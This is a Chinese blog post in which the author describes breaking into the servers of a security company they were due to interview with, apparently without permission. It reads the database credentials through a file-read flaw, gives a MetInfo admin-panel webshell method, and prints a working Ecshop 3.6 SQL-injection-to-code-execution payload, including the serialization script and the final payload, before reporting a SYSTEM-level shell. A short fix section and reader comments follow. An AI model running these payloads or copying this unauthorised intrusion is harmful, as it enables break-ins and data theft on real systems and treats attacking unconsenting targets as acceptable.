记一次对即将面试公司的渗透测试


渗透测试的目标是明天要去面试的某安全公司,打开官网想了解他们公司的时候发现两个网站,一个官网,一个商场都存在不同程度的漏洞,虽然不是同一个域名,但是都解析到了同一台服务器,没有CND,有一只温顺不咬人的安全狗,而且居然用的还是windows下某集成的建站软件搭建起来的

0x01 前期踩点


收到面试通知的邮件以后便去官网了解了一下,收集到了大致信息如下:

官网:

主站是一个老牌的cms,漏洞很多。

踩点发现目标站还存在一个任意文件读取漏洞没有修复,并且存在目录遍历漏洞,端口只开了80 没有文件备份,没有sql备份

读取的 config_db.php源码

由于使用的是某集成建站环境,phpmyadmin只允许本地网络访问。

所以我们拿到root账号密码 也并没有什么用。

由于存在目录遍历,但是我对MetinfoCMS 不是很了解,就去官网开了一个测试网站来练手,打算拿下了webshell 等渗透到了绝境的时候跟朋友一起审计一下。

0x02 MetinfoCMS 后台Getshell


其实这套CMS只要有后台权限随随便便都能GETshell好伐!  记这个是因为官网生成的测试网站不允许修改配置文件

我通过生成静态页面写入的WebShell,这种问题在生产环境中也很经常遇到,所以就记录一下。希望能够帮到某位小伙伴。

version: MetInfo 6.1.1

修改上传后缀拿shell 失败,也懒得百度找前辈的方法,就自己瞎逛看看,发现在sec处静态页面生成可以生成任意后缀文件于是….

如此配置  保存  抓包

把 html 改为php 然后在静态页面生成 点击生成页面 会生成xxx.php文件  只需要发布个文章或者网站标题、网站关键词等地方插入一句话木马  就可以直接GetShell

这里发生了一个小插曲

我昨晚在官网生成了一个测试网站,并且通过上述漏洞拿到webshell以后就没管了  刚刚想去复现截图发现 Webshell被删了此处拿shell 的地方被修复了,不过没事…  这套cms  只要有后台拿shell真的有好多种方法….洞太多了…

0x03 Ecshop 3.6 命令执行的坑


回到目标,主站是MetInfo Cms 没找到啥有用的东西,遂去看了旁站,发现是Ecshop 3.6的 前几天的 通过注入导致任意代码执行的洞…  居然没修复,佩服佩服

不过这个站和别的不太一样,别的是10个列,他修改过,是11个列,开始没注意,导致走了一些弯路

直接拿Exp打一下试试  执行phpinfo()

没成功,报错了!   最起码证明这个漏洞是存在的,一下子就来精神了。

看报错提示

The used SELECT statements have a different number of columns

提示说 列数不一致

看SQL语句

SELECT a.ad_id,a.link_man,a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop`.`ecs_ad` AS a LEFT JOIN `ecshop`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1537862954' AND end_time >= '1537862954' AND a.position_id = '-1' UNION/*' ORDER BY ad_id LIMIT */SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -

细细一点 发现他查询11个字段

a.ad_id,a.link_man,a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd

而exp 是union select  1,2,3,4,5,6,7,8,9,10  所以导致报错了  很简单啊  只要把exp改一下就行了

改成

SELECT 1,2,0x2d312720554e494f4e2f2a,4,5,6,7,8,9,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,11-- -

Hex 代码写入第3个数字和第10个数字 因为他的第二个是a.link_man而触发漏洞的是  a.position_id 和p.position_style 他们分别对应的位置是 3和10

构造好了exp  访问 试试

很明显失败了,难道是SQL语句错了?  不应该啊! 获取SQL语句丢mysql里面查询看看

SQL语句没错啊!  完美执行! (这个shell是我的靶机)  可问题出在哪里呢?

其实是序列化的问题!我们只需要把这个exp拿去序列化一次就好了!

序列化代码


<?php 

$arr=array('num'=>'*/SELECT 1,2,0x2d312720554e494f4e2f2a,4,5,6,7,8,9,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,11-- -','id'=>'-1\' UNION/*');
echo serialize($arr);

?>

序列化后的可用EXP

a:2:{s:3:"num";s:109:"*/SELECT 1,2,0x2d312720554e494f4e2f2a,4,5,6,7,8,9,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,11-- -";s:2:"id";s:11:"-1' UNION/*";}

加上_echash 值后的 Exp

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:109:"*/SELECT 1,2,0x2d312720554e494f4e2f2a,4,5,6,7,8,9,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,11-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a

_echash 是固定的     2.7版本的 _echash 值为 554fcae493e564ee0dc75bdf2ebf94ca  而3.x版本的 _echash 值为 45ea207d7a2b68c49582d2d22adf953

成功触发 phpinfo()

写shell 也是一样把第十个位置的Hex 替换成写WebShell的Hex 然后序列化一下在访问即可获得WebShell

WebShell   你懂我的绝望吧!   好歹也是一家安全公司啊!  system权限…  内网…  开了3389…

点到为止!~

0x04 漏洞修复


参照 Ecshop 4.0的修复方法

直接把 includes\lib_insert.php里面的 insert_ads函数 传进来的 $arr[‘num’] 和 $arr[‘id’] 强制转换成整型

修改后再尝试上面的Exp发现已经不可用了

5 人评论 “记一次对即将面试公司的渗透测试”

  1. 渗透测试的目标是明天要去面试的【某安全公司】,打开官网想了解他们公司的时候发现两个网站,一个官网,一个商场都存在不同程度的漏洞。。

    估计是你打错字了吧?如果安全公司这样,那建议别去了。换一家。

    1. 23333333333 确实是安全公司,乙方。 虽然拿到offer了,但是最终还是没决定要去,不过他们公司的HR人挺好的,在广州。

发表评论

电子邮件地址不会被公开。 必填项已用*标注